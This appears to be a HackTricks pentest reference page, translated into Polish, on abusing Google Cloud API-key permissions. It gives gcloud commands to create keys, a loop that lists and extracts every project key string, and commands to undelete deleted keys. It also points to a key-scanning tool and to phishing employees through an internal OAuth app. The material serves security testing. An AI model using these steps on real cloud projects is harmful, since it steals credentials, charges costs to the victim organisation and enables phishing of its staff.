GCP - Apikeys Privesc

Support HackTricks

Apikeys

Następujące uprawnienia są przydatne do tworzenia i kradzieży kluczy API, nie jest to z dokumentacji: Klucz API to prosty zaszyfrowany ciąg, który identyfikuje aplikację bez żadnego podmiotu. Są przydatne do uzyskiwania dostępu do publicznych danych anonimowo i są używane do kojarzenia żądań API z Twoim projektem w celu kwotowania i rozliczeń.

Dlatego z kluczem API możesz sprawić, że firma zapłaci za Twoje korzystanie z API, ale nie będziesz w stanie podnieść uprawnień.

Aby uzyskać więcej informacji na temat kluczy API, sprawdź:

Aby uzyskać inne sposoby tworzenia kluczy API, sprawdź:

Brute Force API Key access

Ponieważ możesz nie wiedzieć, które API są włączone w projekcie lub jakie ograniczenia zastosowano do znalezionego klucza API, warto uruchomić narzędzie https://github.com/ozguralp/gmapsapiscanner i sprawdzić do czego możesz uzyskać dostęp za pomocą klucza API.

apikeys.keys.create

To uprawnienie pozwala na tworzenie klucza API:

gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]==\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}

Możesz znaleźć skrypt do automatyzacji tworzenia, wykorzystywania i czyszczenia podatnego środowiska tutaj.

Zauważ, że domyślnie użytkownicy mają uprawnienia do tworzenia nowych projektów i przyznawana jest im rola Właściciela w nowym projekcie. Tak więc użytkownik mógłby utworzyć projekt i klucz API w tym projekcie.

apikeys.keys.getKeyString , apikeys.keys.list

Te uprawnienia pozwalają wylistować i uzyskać wszystkie klucze API oraz uzyskać Klucz:

for  key  in  $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done

Możesz znaleźć skrypt do automatyzacji tworzenia, wykorzystywania i czyszczenia podatnego środowiska tutaj.

apikeys.keys.undelete , apikeys.keys.list

Te uprawnienia pozwalają na wyświetlanie i regenerowanie usuniętych kluczy API. Klucz API jest podawany w wyniku po zakończeniu przywracania:

gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>

Stwórz wewnętrzną aplikację OAuth, aby phishingować innych pracowników

Sprawdź następującą stronę, aby dowiedzieć się, jak to zrobić, chociaż ta akcja należy do usługi clientauthconfig zgodnie z dokumentacją:

Wsparcie dla HackTricks

Last updated